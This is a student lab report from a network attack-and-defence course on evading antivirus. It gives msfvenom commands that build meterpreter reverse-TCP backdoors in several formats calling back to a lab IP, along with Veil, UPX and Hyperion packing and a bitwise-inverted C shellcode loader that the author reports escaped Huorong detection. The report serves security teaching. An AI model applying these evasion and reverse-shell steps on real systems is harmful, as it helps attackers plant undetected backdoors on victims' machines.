20232305 2025-2026-1 《网络与系统攻防技术》实验三实验报告
1.实验内容
(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
veil,加壳工具
使用C + shellcode编程
(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
问题回答:
(1)杀软是如何检测出恶意代码的?
通过检测文件的特征性代码,或者基于代码的行为检测
(2)免杀是做什么?
通过技术手段伪装恶意代码,使恶意代码能够逃过病毒查杀软件的查杀
(3)免杀的基本方法有哪些?
混淆代码,让恶意代码的特征代码不那么明显,或者在恶意代码启动后不立刻执行恶意操作,而是伪装的像正常代码一样,规避短期的病毒查杀。
2.实验过程
2.1使用msf编码器生成jar文件,并在virustotal网站下检测。
使用msf编码器生成jar文件
输入指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f jar > 20232305.jar

在virustotal下进行检测

2.2使用msf编码器生成其他类型的文件
(1)生成exe可执行文件
输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f exe > 20232305.exe

在virustotal下检测

可见效果并不是很好,可以被大多数厂商检测出来,然后尝试多次编码
输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.110.130 LPORT=9999 -f exe > 20232305.exe
其中-p windows/meterpreter/reverse_tcp指的是payload类型,这里是windows下反向tcp链接;-e /x86/shikata_ga_nai指的是使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力;-i 24指的是指定编码器的迭代次数为24次;-b ‘\x00’是指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。

再次送入virustotal检测

也没有很好的改善。
(2)生成.php文件
输入指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 x > 20232305.php

进行检测

(3)生成.py文件
输入指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f py > 20232305.py

进行检测

(4)生成.apk文件
输入指令: msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 x > 20232305.apk

进行检测

2.2使用Veil生成后门程序
(1)依次输入下面指令,下载veil
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install wine32
veil






可见成功安装。
(2)使用veil生成后门程序
然后先输入list,可见有两个选项,输入use evasion,进入evasion模块

可见有41个payload可以使用,输入list进入详细页面


输入use 7,选择载荷c/meterpreter/rev_tcp.py后,输入set LHOST 192.168.110.130和set LPORT 9999,分别设置好主机地址和端口。然后输入generate生成20232305.exe文件


接着在/var/lib/veil/output/compiled下找到20232305.exe文件,进行检测

2.3通过加壳尝试实现免杀
先尝试压缩加壳,输入指令:upx 20232305.exe -o 20232305_upx.exe

然后进行检测

可见有一定效果,但不多。
然后尝试加密加壳
输入指令cp 20232305.exe /usr/share/windows-resources/hyperion复制需要加壳的文件到/usr/share/windows-resources/hyperion;再输入cd /usr/share/windows-resources/hyperion进入文件夹。
输入指令wine hyperion.exe -v 20232305.exe 20232305_hyperion.exe对文件进行加密加壳

然后在/usr/share/windows-resources/hyperion找到20232305_hyperion.exe文件,进行检测

可见效果也不是很好
2.4尝试通过C+shellcode实现免杀
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=9999 -f c制作一个shellcode

然后创建一个文件20232305.c,并将shellcode放进去:

编译文件并将得到的文件上传进行检测


可见效果还不错。
2.5通过使用组合技术尝试实现免杀
(1)多次编码并压缩加壳
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.130.110 LPORT=9999 -f exe > 20232305_10.exe,获得编码十次的文件,然后输入upx 20232305_10.exe -o 20232305_10_upx.exe,进行压缩加壳。
进行检测:

可见效果不是很好
(2)C+shellcode编码并按位取反
新建文件20232305fan.c文件,将刚才生成的shellcode编码放进去,并编写按位取反并输出到20232305shellcode.txt文件的函数,进行编译


得到的取反后的文件如下

然后将获得的取反的编码替换掉先前创建的shellcode编码,再进行编译


进行检测

可见效果很好。
然后使用火绒查杀本次实验生成的所有后门文件,其中只有20232305.py,20232305.apk,20232305.php能够不被windows自带的病毒防护直接查杀(虽然告诉有威胁,但不会直接删除,其他的文件会直接被删除),而我在下载火绒时候,20232305.php文件也被直接删除,因此只能查杀20232305.py和20232305.apk文件,得到结果如下

可见虽然能够存活,但是并不能不被发现,但是最后通过取反获得的文件,哪怕使用火绒进行查杀也查杀不出来。
2.3尝试回连
(1)尝试使用shellcod_launcher进行回连
输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.110.130 LPORT=9999 -f raw >20232305.raw,生成.raw文件
使用的查杀软件是火绒,电脑版本是Windows11


然后下载shellcode_launcher,发现在下载的时候火绒就会直接将其中的文件shellcode_launcher删除,然后尝试关闭火绒再进行回连,发现依然无法监听到,也无法回连。
(2)尝试生成py文件进行回连
输入msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.110.130 LPORT=2305 -f raw > 20232305.py生成.py文件,然后在Windows下输入py -m PyInstaller -Fw --hidden-import=getpass --hidden-import=code--hidden-import=platform--hidden-import=shlex 20232305.py进行打包生成.exe文件



在kali上监听并双击启动生成的.exe文件

依旧无法回连
但是在终端输入python 20232305.py,就能够成功回连

3.问题及解决方案
- 问题1:在使用wine hyperion.exe -v 20232305.exe 20232305_hyperion.exe时,看错了生成的恶意代码的文件夹,选择了源文件,导致检测的时候直接是0/71,我还以为直接免杀成功,后来找到正确的文件就解决了这个问题。
4.学习感悟、思考等
这次实验让我感受到了工具的便捷性,只需要输入几段指令,就可以很轻松地生成恶意代码文件,而且有的还很有效。像我这样对底层代码知之甚少的小白都可以很轻松地通过工具生成恶意代码回连。而且有些恶意代码在以前的版本就能够成功运行,现在就不行,更让我感受到了道高一尺魔高一丈的感觉。
参考资料
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x23_MAL_免杀原理与实践.md#35-c语言调用shellcode

浙公网安备 33010602011771号